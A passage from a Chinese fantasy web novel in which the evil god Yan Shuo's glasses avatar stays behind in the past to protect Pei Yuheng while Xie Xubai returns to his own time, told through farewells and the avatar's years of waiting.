无数没来得及冲过来的黑气魔爪猝然一滞,油然生出一股不妙的预感。 事实证明预感对了,下一秒宴朔眼中显出如岩浆般滚烫凶戾的血色,顺着被婴儿抓住手指的姿势,倾注力量。 ——谢叙白经脉损害,是五衰夭折之兆,祂偏要谢叙白如正常人般长寿健康。 ——谢叙白不被【规则】容纳,时刻面临追杀,祂偏要模糊谢叙白的存在,让谢叙白光明正大地出现在世界的任何地方,在【规则】的眼皮子底下活蹦乱跳。 赐福,邪神不会。 但横行霸道与倒行逆施,是祂的专长。 这一瞬间,神与【规则】的力量轰然相撞,剧烈的冲击波如洪钟敲响,冲向四面八方,震荡整个世界。又横跨时间空间的阻隔,如巍峨高山当空砸下,悍然压在每一分每一秒每一个刹那的历史节点。 规则更改,命运倒转! 而另一边的女人,仿佛能看见谢叙白身上的变化,终于露出一抹如释重负的笑,如同宣告预言般郑重呢喃:“自此,因果已成。” 铺天盖地的阴冷白雾直冲而下,裴玉衡看见女人被白雾淹没,心脏一抽,边大喊着,边冲过去救人。 一股无形的力量自白雾中央爆发,雾气不堪受力,飞溅而出。 女人手持荆棘长剑,干脆利落地挽了个剑花,马尾在滚滚气浪中翻飞起舞。她脊背挺拔,英姿飒爽,侧眸一瞥,犹如郎朗春日下百花盛放,顾盼生辉。 与裴玉衡隔着白雾遥遥相望的那一刻,她嚅嗫嘴唇,有无数的话想说,最终悉数咽下,只露出一抹温柔的笑:“裴玉衡,照顾好我们的希望,照顾好自己。” 位于谢叙白精神世界的女人化身,也在与怀中孩童依依不舍地告别:“乖崽,时间到了,妈妈要走啦。” 小叙白瞬间呼吸一滞,下意识抓紧女人的衣服布料:“……必须要走吗?” 女人心花怒放,用力蹭蹭孩子的脸蛋:“唉哟我可爱的乖宝贝,是不是舍不得妈妈?” 谢叙白预感到这一次分别,怕是很难再与女人见面,他当然舍不得,必然舍不得。 可一贯的理智告诉他,女人应该有必须离开的原因,他不能奢望女人的停留。他竭力忍耐着,豆大的泪水在眼眶中打转,死死咬住下唇,生怕一开口就是哭腔。 “白白啊,乖白白。”女人用力地深吸一口气,借此按捺住内心强烈的不舍,她搂住小小的谢叙白,“说是要离开,可妈妈又哪里舍得?其实妈妈一直都在,是天上的星星,只要白白一抬头,就能看见妈妈的身影。” “虽然没法现身,但妈妈一直看着你,看着你和同学们打成一片,看着你升上初中、高中和大学,看着你顺利长大成人,身边有了越来越多的同伴。” 随着女人说出这一句话,谢叙白的视野忽然一闪,仿佛跨过几十年的岁月光阴,看见过往时光的剪影。 他忽然想起来了。 福利院里,每天晚上风雨无阻悄声来到床边,为他细心掖好被角的院长阿姨。小学食堂,每次一看见他就露出慈祥笑容,给他打菜几乎堆成小山的食堂大妈。校医务室,适逢给他挂水打针,还要先用哄小孩的语气将他柔声哄一遍的女校医。 ……在他形单影只的背影之后,在他不曾注意到的地方,原来总有那么一道娇柔的身躯屹立着,温柔安静地凝视着他的前行。 “白白,不要害怕。”女人揉着他的脑袋,眉眼弯弯,“不管何时何地,妈妈都会在天上守护着你。” …… 时间线回到二十年后,盛天集团。 深夜凌晨两点多,总裁办公室忽然毫无征兆地传出一声剧烈的震响,整栋大楼震动不休,警报接连触动,发出刺耳的警铃。三十多层走廊的声控电灯齐刷刷打开,在黑暗的市中央商圈中,宛若一座炫目的灯塔。 吕向财本来睡得好好的,床一震,他差点翻身掉在地上,茫然警觉地爬起身,比其他人更快反应过来动静来自头顶,顾不上换衣服,忙不迭出房间,一路踹开挡路的怪物高管,往上冲进总裁办公室。 “宴总?宴总!您出差回来了吗?发生了什么……嘶!” 看见办公室桌椅摆设在巨大的冲击下变成一片残渣,吕向财当场倒吸一口凉气,第一反应是:我的天老爷,哪个嫌命长的东西居然敢对这煞星出手? 宴朔盘腿坐在一片狼藉中,看上去是受到了袭击,但身上完好无损,除去脚下,衣服也没有沾染一点灰尘。 听到吕向财的大呼小叫,摩挲手指的宴朔停下动作,起身说:“没事。” 看宴朔这么淡定,吕向财高悬的心脏逐渐平稳,嘴角抽搐两下。 他不得不承认男人的气质长相属实是个逆天大杀器,明明是狼狈的姿态,硬生生让宴朔坐出了唯我独尊的架势。 宴朔又摩挲两下手指,眸色深邃,仿佛在思考什么,又回味着什么,忽然问:“谢叙白在哪儿?” 吕向财至今仍觉得被宴朔看上不是什么好事,顿时心脏一紧,含糊道:“他还在出外勤。” 对内对外,谢叙白一直是用出外勤的由头在外兼职,很少出现在公司。吕向财以为宴朔对此毫不知情,毕竟没有哪个老板会容忍员工身兼数职,熟料男人不仅知情,睁一只眼闭一只眼,有时候还会充当谢叙白的助力。 宴朔瞥了吕向财一眼,没有拆穿,直接感应谢叙白的方位。 谁知道扑了个空,整座城市都找不到青年的身影。 宴朔蹙紧眉头,换了目标,再次展开感应,数秒之后,终于在二十多年前的时间线上,发现小触手和金丝眼镜的踪迹。 他想也没想,抬起右手,海水般咸腥的雾气弥漫开来,好几根粗长滑腻的漆黑触手从阴影中窸窸窣窣地钻出,触手尖汇聚在一起,于半空中,再度蛮横地撕开一条时空隧道! 可是这条时空隧道很不稳定,不断闪烁雪花,还朝外噼里啪啦地迸着闪电。 随着触手将它强硬拉开的动作,雪花越闪越快,边缘直接崩裂。 终于,雷电轰的一声打出去,把仅存的一块地砖砸了个粉碎! 吕向财就站在那块地砖的门边上,他连忙跳开,看着地上焦炭般的雷劈痕迹,惊疑不定:“您别冲动!它可能承受不住您的力量,继续下去只会适得其反!” 话说的没错。 好几道雷电一齐蹿出,炸毛地呲出火花。仿佛宴朔敢继续用强,这条时空隧道分分钟崩溃给他看。 宴朔拧眉收手。 他也知道造成这种情况的原因,无非是和【规则】的碰撞过于剧烈,被殃及池鱼的各个时间线平白挨了一顿暴揍,差点崩成一串鞭炮,出于保护机制,短时间内谢绝祂入内。 吕向财不知道宴朔为什么会提起谢叙白的名字,从对方的神色中,他忽然意识到谢叙白那边可能出了大麻烦,瞬间如坐针毡。 宴朔看出他的心不在焉,干脆将人打发走,所有触手收回,时空隧道消失,被破坏的桌椅瞬间恢复原状。 他坐在办公桌前,背往后靠,思索这一趟出行下来的种种疑云。 结果想着想着,满脑子都是谢叙白的脸,手指也不由自主地摩挲起婴儿触碰过的地方。 ——谢叙白骗过他?他们之间难道早有因果,对方会是他的什么人? 忽然,宴朔神情一动,想到将识念投放在金丝眼镜上。 他投放的时间在谢语春离开的几个月后。 一切尘埃落定,谢叙白也调整好了心态,协助裴玉衡研发疫苗。在【傅氏集团规则】的放行下,疫苗的研发得到突破,有序进行,第一医院大力兴建,逐步走入民众的视野,成为声名远扬的权威医疗机构。 消失许久的小黑章鱼,在这一天毫无征兆地找上门,一板一眼地问谢叙白:【你那天为什么要亲我?】 第122章 直至我与你相见…… 谢叙白:“……?” 彼时会议刚刚结束,肃穆整洁的会议室人来人往。医院管理层没有立刻离开,聚众议论商讨扩建过程中可能出现的材料损耗、科室区域划分、人员分配及其他问题。 方桌两边,有后面高薪聘请过来的业界大拿,有经验丰富能力出众的矜傲专家,或站或坐。 年轻的谢叙白就在这一众大佬的围拥之间,侃侃而谈、从容不迫。那些大佬并没有压他一头,反而隐隐有以他为首的架势。 窗外的阳光斜着打在谢叙白的侧脸轮廓上,照见他沉静镇定的眉眼。 识念融入金丝眼镜的宴朔,本来注意力在窗台忽然出现的小黑章鱼身上,逐渐的,也被青年不同往日的气质吸引。 那股气质里令人心驰神往的本质没有变,只是随着时间的流逝,宛如一坛埋藏地底的佳酿,溢散出厚重独特的醇香,回味悠长。 其他人发现谢叙白的停顿,疑惑询问:“副院长,您怎么了?” 谢叙白回神:“没事,你们的需求我大概明白了,叫人把这些会议记录整理好,放在我的办公室,我过后和院长再商量一下细节。” 他告别众人,离开会议室,在人迹罕至的花园与小黑章鱼会面。 这一会儿的功夫,宴朔也顺势接收完金丝眼镜这段时间的经历。 除此之外,他还知道了分身为什么会特意把谢叙白带到这条时间线上的最终原因。 ——不单单是为了帮谢叙白改变裴玉衡的命运,更因为眼镜窥见了自己的命运。 或许在旁人看来,这段命运的必经过程不仅难熬,还费力不讨好,但眼镜甘之如饴。 这股心情反馈到宴朔本尊的身上,有股莫名的滋味一路蔓延至舌根,苦涩中渗出些许的甜。 小黑章鱼也发现谢叙白脸上的金丝眼镜变得不一样了,多了点令它熟悉的力量。 但它和宴朔一样,虽然察觉到“自己”的存在,却并不感到亲切,反而眉头一皱,觉得“自己”有些碍事碍眼。 出于谢叙白还在这里,它漠不关心地打消对宴朔的审视。 小黑章鱼沉冷无澜地看着他,那双猩红色的豆豆眼因为专注而显得格外真挚。 谢叙白有点难以开口。 下口去亲的人,是小叙白。因为金丝眼镜那乱七八糟的描述,他还以为小时候的自己给了小黑章鱼一拳。 直到小黑章鱼再度现身,没有隔阂,不见愤怒,并为他吸收玩家信仰倾情出力,谢叙白才猛然怀疑自己可能误会了什么。 但也没想到,实际情况和他误会的隔了十万八千里。 居然不是打,是亲。 ——所以他为什么要亲小黑章鱼? 小黑章鱼和小触手不一样,小触手只会单纯地把亲吻当成朋友家人间的亲亲,是表现喜欢的方式。 小黑章鱼继承原始兽性,怪物思维,类比宴朔其人。冒冒失失亲下去,可能会被误会成求偶示爱的信号。要是扭头不认,那和始乱终弃有什么两样! 在小黑章鱼直勾勾的注视下,他直感头皮发麻,兀自淡定地解释:“应该是个误会,我小时候比较调皮黏人。” 小黑章鱼却当即否认:【不,我见过人类幼崽调皮的模样。】 它说着,一根触手伸出来,指了指自己的某个部位:【你不仅亲在这个位置,还叫出我的名字。】 叫出了名字? 办公椅上的宴朔缓慢挺直腰背,眉宇紧皱。 “宴朔”并非化名,但一般人无法认知神的名讳,他们念出“宴朔”这个名字,不过是单纯地发出字音。唯有神明特别允许那人认知到自己的真名,才能引动名讳中蕴含的力量。 真正让宴朔感到不妥和震惊的是,真名可以反过来制约神明,若非信赖到可以托付生命的地步,绝不会轻易告知。 ——谢叙白居然连他的真名都知道? ——重点在于,谢叙白究竟知不知道,亲吻邪神的心脏并喊出真名,是在求婚? 这是个很严肃的问题,宴总陷入沉吟。 当事人谢叙白自然不知道这些弯弯绕绕,见小黑章鱼郑重其事的模样,一度想让金丝眼镜把小叙白喊出来,收拾自己惹出来的烂摊子。 约莫是看出谢叙白对变小的经历毫无印象,小黑章鱼顿了顿,冷不丁指向金丝眼镜:【那你会不会亲它,如果会,又是因为什么?】 谢叙白:“……” 他没有像平时那样直接否认,一反常态地伸出手,去触碰金丝眼镜,又在半空中僵住。 谢叙白抿了抿嘴唇,陷入长久的沉默。 感受到青年挣扎沉重的心情,小黑章鱼偏了偏脑袋,没有继续询问。 它的情绪寡淡如水,旁观着世间所有的人事物,比宴朔还要冷漠数倍,掀不起一点波澜。 此时此刻,唯有小叙白不带一丝杂念、含着干净明媚笑容的亲吻,令它感到不解。 虽然在谢叙白这里得不到解答,但它没有生气。它打算回到深海,继续沉睡。 神的时间足够漫长,漫长到它可以给予无限的耐心,有朝一日小叙白出生,它会亲自去询问答案。 小黑章鱼是无所谓地离开了,宴朔却被钓起强烈的好奇心和求知欲。 他甚至想过要不要直接告诉谢叙白,自己的识念正投射在金丝眼镜上,分分钟可以让谢叙白变成小叙白,为他俩解答困惑。 但被谢叙白无意识地抚摸过镜框后,宴朔忽然打消了坦白的想法。 往日在他的面前,谢叙白总是绷着神经,无时无刻不在警惕。 金丝眼镜却有着不一样的待遇。 谢叙白会接来温水,用纸巾沾湿,为它细致地清洗镜框。会在它伸出眼镜腿的时候,垂眸浅笑,眼里酝着一片波光。 哪怕它忽然起了坏心思,用眼镜腿拨弄谢叙白柔软的耳垂,青年也不过无奈一叹,捏住它的触手挪到一边,不轻不重地斥一句:“别闹。” 如果它不依不饶继续作怪,谢叙白会干脆用手掌牵住它,直至长达两小时的会议结束。 要问谢叙白是不是喜欢上了金丝眼镜,在宴朔看来,也不见得。 青年会对他的分身这么好,大概出自共患难后生出不少好感。金丝眼镜不求回报的帮助,也在谢叙白的心里加了不少印象分。 此外,还有一种沉甸甸的歉疚,始终压在谢叙白的心头。 为了帮裴玉衡在医院站稳脚跟,谢叙白在这条时间线上停留了很久。 期间,他与裴玉衡合力将周潮生带出傅氏集团,用生化材料为幽魂态的导师塑造可以自由行动的躯壳。 沉眠的执法人员,被谢叙白安置在一家正规偏僻的疗养院,配备独立安保系统,二十四小时严加看守。 裴玉衡以傅倧的身份继承傅氏集团,着手大力整顿集团内部。诸多肮脏龌龊的阴私陆续暴露在光天化日之下,引起媒体和社会的震惊! 民众气愤填膺,声讨傅氏集团,集团业务惨遭打击,旗下无数灰色产业被迫停业整改,流水经济一落千丈,渐渐敌不过如日中天的江氏集团,退出大众视野,就像谢叙白所在时代一般寂寂无名,彻底消隐无声。 随后一年过去,两年过去…… 两个世界彻底融合,血迹从地砖褪去,残肢尸骸消失,怪物混入人群,大地染上新绿。 市区街道上已经看不见当初大灾难时的疮痍狼藉,只有高楼大厦林立,无知无觉的人们走在街道上,或为生活奔忙脚步匆匆,或是说说笑笑,走走停停。 忽然某天,正在处理医院事务的谢叙白久违地感知到时空的排斥力,持笔的手悬停在半空,顿了顿,放在桌子上。 谢叙白看向电脑桌面的日历时间,再有半小时左右,他就会降生在这个世界上。而他必须在这之前,离开这个时空。 谢叙白没有和任何人告别,径直前往院长办公室。 裴玉衡几乎一见到他,就下意识露出笑容,高兴地扬起眉梢,打趣道:“哟,咱们的副院长总算闲下来了?想见你这个大忙人可不容易。” 和前几年比起来,裴玉衡脸上早已看不见当初青涩孤僻的影子,谈吐优雅稳重,眼神犀利成熟,往那一站,便是他人无法忽略的焦点。 “对了,你一直心心念念的那款甜牛奶,我托人找到他们的生产厂家。他们刚刚起步,急缺资金,我干脆入了股。不用等他们产品上市,食品安全检验一通过,我就让人整车送过来,以后你想喝多少喝多少。” 见谢叙白一言不发在那站着,没有任何表示,裴玉衡重重地咳嗽一声,端起茶杯,有意无意地:“说起这个以后会大火的牌子,起步居然在不起眼的闹市区,大老板还是个杀鱼的,一点研发饮品的经验都没有,同赛道的商家更是连他名字都没听过,那是真难找啊……” “嗯。”谢叙白静静地看着他,淡然一笑,“所以多年之后,依旧有媒体从它的出身抨击它不卫生、安全堪忧、有鱼腥味,各种无理批判层出不穷,但照样不影响它销量遥遥领先,成为家喻户晓的老牌子,被诸多人喜爱。” 裴玉衡嘴角一扯,他想听的可不是这个,不过自己的孩子除了宠着,还能怎么办?他摇了摇头,转身:“好了,关于贫困病患的医疗保障问题,我又找专业人士咨询了一下,不出意外的话,最多不超过两个月就能落实,各项细则……” “谢谢你。”背后的谢叙白忽然柔声道,“爸爸。” 裴玉衡随口应道:“嗯……嗯??” 他猛地扭过头,心脏激动得怦怦直跳,不敢置信地看着谢叙白,惊喜到无以复加,说话声音都有些不稳了:“你刚才叫我什么?” 谢叙白却闭上嘴,安安静静,红着眼眶看他。 看他这副模样,裴玉衡猛然意识到什么,高高上扬的嘴角逐渐下降。 办公室内陷入短暂的沉寂,气氛压抑。半晌,裴玉衡率先打破沉默,深沉地注视着谢叙白,轻声问:“要走了,是吗?” “是。”谢叙白道,“还有几分钟。” “还有几分钟啊……”裴玉衡看了眼墙壁上的钟表,他心里酝酿着无数的叮咛,无数的不放心,几分钟太短,远远说不完。 最后,他走到谢叙白的面前,揉揉青年的头发,认真叮嘱:“这么多年来,是我这个当爸的不成器了,要让你辛辛苦苦走这么远的路,不辞辛劳来保护我。我……很高兴,很感动。以后就算没有爸爸在身边提醒你,你也要注意多休息,劳逸结合,才能事半功倍。” 谢叙白轻轻点头。 裴玉衡认真地看着他,许下诺言:“不伤心,爸爸去找你。不管花费多长时间,不管有多难,一定找到你。” “好。”谢叙白跟着笑起来,“我等你来接我。” 裴玉衡调整得很快,看似清冷严肃的神情一敛,眼神示意:“临别前再喊两声?” 谢叙白:“……” 他假装没有看见裴玉衡期许的眼神,顺势摘下金丝眼镜。 端看裴玉衡当众化身食尸鬼,痛苦吐出傅倧肉块的一幕,似乎他的悲剧早已成为命定的死局。 但谢叙白昼夜不停冥思苦想,绞尽脑汁,把所有能用的条件包括他自己一并考虑进去,骤然于绝境中发现,其实还藏着一丝转机。 那转机一直在他的眼前。 司职蛊惑、扰乱天理的邪神,即便是分身也能强大到干扰副本的运行,混淆他人的认知。 谢叙白深吸一口气,借此收敛所有不稳的情绪,看向手里的金丝眼镜。 “你曾说过,只要我肯亲你一下,你就愿意为我做任何事。”谢叙白缓声开口,“这次,我要你留在裴玉衡的身边,制造幻象,干扰认知。欺骗他,欺骗周围包括我在内的所有人,欺骗这段历史。” “直至现在的我回到二十多年后的未来,与你相见。” 第123章 你怎么还这么小 隔着遥远距离的某家医院,一名躺在待产室的美丽孕妇忽然脸色惨白,冷汗直冒,捂着肚子抽气痛叫起来,羊水淌湿床单。 护工见状,连忙按下呼叫铃,跑到走廊着急喊人:“护士!护士!快来啊,166号病床要生了!” 商务大楼里,一名英俊斯文的男人接到医院打来的电话,脸色大变,将手里的文件交给下属,来不及多叮嘱什么,马不停蹄冲出公司,上车一脚油门直奔医院。 他的脸上满是着急担心,又带着隐约的期待和激动。 世间万物均衡有序,新的生命即将诞生,便有对应的存在将要离去。此消彼长,周而复始。 谢叙白感受到了当下时空的排斥力,它在驱逐自己这个不速之客。 同样,属于他的时空也在发出强烈呼唤,隔着二十多年的岁月光阴,在谢叙白的耳畔潮汐般反复回响。 谢叙白闭上眼,顺从时间的牵引,身影逐渐虚化,逐步上升。 在他的身后,裴玉衡抵在窗前,手里端举一杯没了热气的茶,扬起脑袋,还在注视着高空。 但随着金丝眼镜施加的影响,他脑海里关于谢叙白的记忆也在逐渐模糊,隐约记得自己刚刚送走了一个重要的人。 最后,裴玉衡忽地一眨眼,顿了顿,环顾四周,茫然地蹙紧眉头:“我在这里发什么呆?”旋即转过身,坐回办公椅。 裴玉衡的注视远去了,金丝眼镜却没有。 即使隔着近百米的距离,谢叙白仍旧感受得到从下方投来的凝视,紧锁在他的身上,灼热而专注。 谢叙白闭了闭眼,掐住颤抖的指尖,转身步入时空隧道,没有回头。 他再度来到历史长河。头顶是浩瀚星海,蓝绿色的光辉似丝滑的绸带交相辉映,荡漾着,此起彼伏。 脚下是金色河水,如万千璀璨流彩从他的小腿腹飞速淌过,拍击他的裤脚,溅起星星点点的金色浪花,又在半空中溢散。 世间诸多过往,具象化为正在播放的黑白录像。以过去为始,未来为终,拉开一个无边无际的大荧幕,在洪流两岸不断切换影像。 初次来到这里时谢叙白连站稳都困难,差点被流水冲着走。 如今他的精神力大增,离成神只差一个契机,面对汹涌的历史洪流也能不动如山。 时空隧道的入口在他背后闭合,谢叙白静默着,抬步往前。 没走两步,一个个金色的气泡忽然从两边荧幕中飘了出来,悬停在他将要路过的地方。 谢叙白脚步一顿,抬起头。 气泡包裹着过去的影像,在他面前缓缓呈现。 …… 从在第一医院见到防卫科“众人”的那一刻起,金丝眼镜就知道自己将会因为谢叙白的恳求,被单独留在过去。 金丝眼镜想被留在过去吗? 如果没有谢叙白,它无所谓在什么地方发呆,在什么地方沉眠,但是谢叙白出现了。 比起在没有青年的地方清醒地度过二十多年,它更愿意紧贴青年的脸部肌肤,欣赏他在各个场景下的喜怒哀乐,以及肌理反馈出来的每一丝细节。 因为谢叙白随时都在成长,并且成长的速度惊人,在青年变得滴水不漏之前,他的每个表情对金丝眼镜来说都像是一副变化不断的风景画,百看不厌。 这是眼镜才能有的福利,它生怕会被打破,不曾对宴朔意识海内的风、雷、土地提及,默默地感受,默默地品味。 也是许久之后,金丝眼镜才知道,不愿声张的愉悦,在人类的词汇中叫窃喜。 如果这窃喜的情绪只为一人而生,只为一人而灭,那将代表着一种更浓烈隐秘的情绪。 ——痴迷。 终上所述,它不愿意被单独留在过去。 单独是个悲伤的词语,留下来的往往都是悲剧,如罗密欧与朱丽叶,梁山伯与祝英台,前者秉承逝者的遗愿孤独一生,后者双双殉情。人类又将必定发生的悲剧称之为命运,咒骂、恸哭、不愿接受。 金丝眼镜在这时发现端倪——面对自己将要被留下来的命运,它没有那么激烈的反感。于是它翻了翻人类词典,最终将命运更改,定义为“使命”。 尽管极不情愿,尽管感到痛苦,但必须要倾尽所有去完成。 谢叙白安排给它的,是使命。 在谢叙白离开后,金丝眼镜将力量谨小慎微地扩散至医院的边边角角,混淆视听。 这样瞻前顾后,不符合邪神肆意张扬的性情,但金丝眼镜有自己的考量。 虽然它强大到能影响整个副本空间,但那会消耗巨大,为了确保自己能够顺利等来和谢叙白的重逢,它必须学会省吃俭用,像冬眠的熊一样保存体力。 可惜它不是熊,没有那样的好运,熊能睡觉,两眼一闭醒来就是春暖花开。 在此之前,作为邪神分身的金丝眼镜也从未想过,自己有一天居然还会嫉妒熊这种低劣的生物。 它不愿被裴玉衡戴在身上,干脆拟态变成办公室内的摆设,漠然地注视着裴玉衡。 记忆受到影响的裴玉衡坐回办公桌前,欲要打开医务系统,却无意点开桌面的一份电子合同。 那是一份关于某家甜牛奶生产公司的入股合同。 被青年钟情的这款甜牛奶,在这个时代还没有正式问世,但在二十多年后的未来,它已经成了老牌子。青年几乎每天都要喝一瓶,即使在百花齐放的牛奶饮品中,它并不是最好喝的,名气也在逐渐衰落。 谢叙白的念旧就体现在这些方方面面。 裴玉衡因此失神了许久,金丝眼镜也顺势回想起谢叙白喝盒装饮料时的样子,一张漂亮的薄唇含住吸管,喝得慢条斯理,仿佛很享受这来之不易的休闲间隙。 遇到麻烦或心情烦闷的时候,青年会下意识地咬一下,在塑料吸管上留下浅淡的印记。 这些孩子气的行为,偶尔会在中途被当事人察觉。看着自己制造出来的“锯齿”,青年眨眨眼,淡然地含进嘴里,一口喝干净,用精神力将吸管捋直,丢进垃圾桶里“毁尸灭迹”,眼神有意无意地飘向四周,假装谁也没看见。 如果金丝眼镜在这时候动一动,坏心眼地彰显自己的存在感,谢叙白会在短暂的僵硬后,哼笑一声,伸出食指轻轻弹一下它的镜框,充作没有声势的威胁。 彼时谢叙白已经在层层重压下学会了深藏不露,完美地将所有的情绪隐藏在沉着淡然的表情下。 人们开始畏惧他、信服并追随他,被整治过的人批判他、诋毁他。 他处在风口浪尖,漩涡中心,很少在平常时间露出发自内心的笑,眸眼中含有威势的冷意,也令不少人屏息驻足,虚汗直冒。 于是那哼笑的一声,突如其来,意料之外,仿佛蜻蜓薄翅掠过死寂池潭,惊起了阵阵涟漪。 金丝眼镜以为自己在回忆,在思考,其实是在发呆。 直至裴玉衡恢复如常,被人叫去开会,它才猛然惊醒,化作漆黑的影子追上去,又忍不住回头瞄了一眼电脑桌面上的入股合同。 墙上的挂钟滴滴答答,分针一下下走,掠过“12”时发出轻响,仿佛重锤砸在它的胸口。 谢叙白离开不过五分钟,它就已经感觉到了难熬。 —— 第一医院发展阶段,包括李医生在内的医院众人一致认为,化身傅倧的裴玉衡是趁前院长逝世、借机上位的小人。他们早已在傅氏集团的初次交锋时看穿了傅倧的真面目,绝不愿轻易臣服。 没有谢叙白从中调和,矛盾和愤懑日渐发酵,终是被嫉恨裴玉衡的有心人彻底激化,爆发出不少冲突,裴玉衡的处境越来越危险。 也是这个时候,第一医院防卫科成立。 不同于安保部门要负责全医院的安全,防卫科只听裴玉衡一人的号令,只负责裴玉衡一人的安危。初时,只有一名不知长相的蒙面人加入防卫科,被裴玉衡破格提拔为防卫科主任,权限极高,与其他主任平起平坐。 此举自然遭到了主任团的大力反对,但没过多久,反对的声音一夜之间全部消失,一同消失的,还有那些明里暗里针对裴玉衡的袭击。 知道内情的人对此讳莫如深,恐惧至极,哪怕防卫科只有一个人,也成了震慑众人的利剑,高悬头顶,叫暗地里的宵小不敢轻举妄动。 谢叙白离开后的第一年,没有谢叙白协助而有些寸步难行的裴玉衡,终于是在防卫科的鼎力支持下艰难重拾院长的威望,站稳脚跟,初步推行各种帮助贫困患者的惠利政策。 第二年,惠利政策彻底落实,全市有将近百分之四十的贫困家庭享受到了这一补助福利,第一医院的名声由此打响,诸多医疗相关机构争相联系裴玉衡,与第一医院展开合作。 第四年,作为后起之秀的第一医院再度扩建,在业界收纳挖掘各个医疗人才。病患收治量、各科室手术成功率和治愈率等等医疗考核指标一举攀升至H市头名,登上中央人民日报,被数个官方点名赞扬,业内名声日益响亮。 这是裴玉衡最忙的阶段,整天脚不沾地,吃饭睡觉的时间需要精确控制到分钟,不是出差开会就是开会的路上,脑子里被公事塞满,甚至无暇关注主任团的挤兑。 在此期间,金丝眼镜一直安安静静地隐于幕后,帮裴玉衡解决潜在的危险,轻易不会露面。 虽然外界将蒙面人传为裴玉衡手下忠心耿耿的疯狗,但只有裴玉衡知道,金丝眼镜忠诚的对象另有其人。并随着记忆的淡化,他只能隐约记起对方是一位挚友留下来的帮手,被某个契约束缚,甘愿听从他的号令。 他连谢叙白的脸都记不清了,这样的他如何再和金丝眼镜交心?也是过了许久之后,裴玉衡才在惊讶中骤然发现,金丝眼镜的身边突然多出一个人。 一样的身高体型,一样冰冷的眼神,行事作风如出一辙的狠辣,那是眼镜同比例分裂出来的个体。 被谢叙白安排在裴玉衡身边保护对方的第四年,金丝眼镜终于忍不住分裂出一个自己。 防卫科突然招入新成员,外人以为这是裴玉衡打算大力发展自己的势力,稳固权利地位的信号。又或者是准备打压那些反对的声音,血洗整个医院。 殊不知大多数时间,两个一模一样的防卫科成员只是在共享脑波频道中嘀嘀咕咕。 “还有多久?” “十九年零十个月二十七天又二十一小时三十三分钟。” “时间有这么漫长?” “以前没有。” “只亲一下,亏了。” “嗯。” “见面讨回来。” “嗯。” “我想他了。” “嗯。” 六年后,正在办公的裴玉衡忽然接到一通陌生人的来电。听到电话里传出似曾相识的女声,他下意识喊出一声“师姐”,安排好医院事务,匆匆忙忙地赶去赴约。 盛夏时节,蝉鸣聒噪,天空万里无云,炙热的阳光灼烤大地。 恢复本貌的裴玉衡忽然停步,隔着一条马路的距离,望见树荫下抱膝蹲守的小孩。小小一团,皮肤雪白,似冰雕玉砌,风一吹仿佛就会散掉。 裴玉衡的心脏没来由地颤抖起来,用最快的速度奔跑到小孩的身前,快要临近时,又似乎近乡情怯,脚步越来越慢。 小孩像是被热昏了,直勾勾地盯着高温扭曲的柏油路面,始终没有抬头。 裴玉衡终于忍不住张口唤他一声,小孩闻声蓦然抬头,眼睛犹如黑曜石般清澈闪亮,迷迷糊糊地望着眼前的裴玉衡,终于忍不住问出那句:“裴叔叔,你是我的爸爸吗?” 那一刻,裴玉衡的脑海中传来轰的一声巨响,往日模糊掉的记忆如影像在眼前闪现。像是大闸打开,洪水倾泻而入,冲垮状似坚硬的心扉,他忍不住将小孩大力抱起,紧紧地按在怀里,声音发颤:“……是,我来接你了,阿白。” 时隔五年,裴玉衡再次和谢语春相见。曾经风华正茂的女人被大病缠身,瘦脱了相,但依然脊背笔挺如白杨,英气逼人不减当年。 从她身上散发出来的气势,依稀让人望而生畏。 裴玉衡的实力同样不同往日,依稀能回想起数个轮回的片段。在那多次轮回中,他顺利收养了谢叙白,但也因为副本BOSS这一身份的制约,思维愈发扭曲,性情跟着变得固执己见、残忍暴戾,反过来成为谢叙白的负担。 “各项收养手续已经办好,但这一次我想先将阿白安排在外地一家私立福利院。那家福利院由我全权控股,从里到外都是我的人,保证不会让阿白受到一点伤害。” “到时候我会来接阿白……如果规则限制……记忆出现差错……必须慎重……” 大人心事重重的密谈随风飘散,被半空中无形的屏障挡住,没有朝外传出一星半点。 吃完饭的小叙白格外收到一箱甜牛奶,高兴得不行。 他兴致勃勃地拆封,拿出一盒正准备喝,一只覆有硬茧的大手忽然从旁边的树影里伸出来,为他插好吸管,又递到他的嘴边。 那人弯下腰,凶神恶煞,血瞳通红,一个字铿锵有力:“喝。” 小叙白登时一个激灵,下意识转身想要去喊妈妈和裴叔叔,可在那之前,他先瞄见了蒙面人的眼角,硬生生停在原地。 在恐惧和疑惑之间,小叙白陡然做出一个连他自己都觉得大胆的动作:他伸手接过蒙面人递来的甜牛奶,含在嘴里喝了一大口,像是借此壮胆,鼓起勇气稚声询问:“叔叔,你还好吗?” 金丝眼镜:“……” “不哭了。”小叙白伸出手,对上蒙面人通红的眼眶和不错眼的注视,笨拙地擦拭对方湿润的眼角,“不哭了,啊。” 却没想到面前的男人陡然一个下蹲,用比裴玉衡更大的力气将他揽入怀中,声声嘶哑,咬牙切齿,一字一顿地控诉:“我、不、好。” 神的一生过于漫长,漫长到亲眼见证沧海变桑田,繁荣帝国转瞬湮灭。 即使金丝眼镜从宴朔的身上分裂出来不久,它也同样继承了本体对时间的漠视,以为二十多年只是算上去很长,真正过起来,不过在须弥之间。 直至它亲身步入这段历史。 第一年,金丝眼镜意犹未尽地回味着谢叙白临别时的吻,将它和谢叙白从初识到交心的过程在脑子里的过上一遍又一遍。 第二年,金丝眼镜仍旧清晰记得谢叙白的每一副笑颜,包括青年发火和苦恼时的模样,被它制成只有自己能看见的影像,在脑海中愉悦地反复观看。 第三年,金丝眼镜无声地望着影像中青年的微笑,冷不丁伸出手去触碰对方的脸颊,如预料的那般,伸手只抓住一团冰冷的空气。 第四年,【游戏规则】作祟,医院里很少有人再记起副所长,包括他曾经的功绩,裴玉衡对谢叙白的印象也愈发模糊。 金丝眼镜需要欺骗裴玉衡的认知,自然不能唤醒对方的记忆。它一遍又一遍地走过医院里谢叙白曾经的足迹,最后停在大门,沉默地站到夕阳落山,最后分裂出另一个自己。 …… 整整六年,金丝眼镜数着一分一秒度过去,它记得每一次潮起潮落,每一次日升月落。它想象谢叙白陪同在身边的日子,看见医院兴起,更多人得到救治,青年会露出如何欣慰高兴的笑容,但转头,身边只有冰冷冷的空气。 再无人会告诉它花开正盛,再无人会温柔抚摸它的眼镜框,再无人会在月色正浓、阳光明媚时,笑说:“要不要一起去看看?风光正好。” 金丝眼镜抱住小叙白,几乎声嘶力竭:“六年,你怎么还是这么小?” 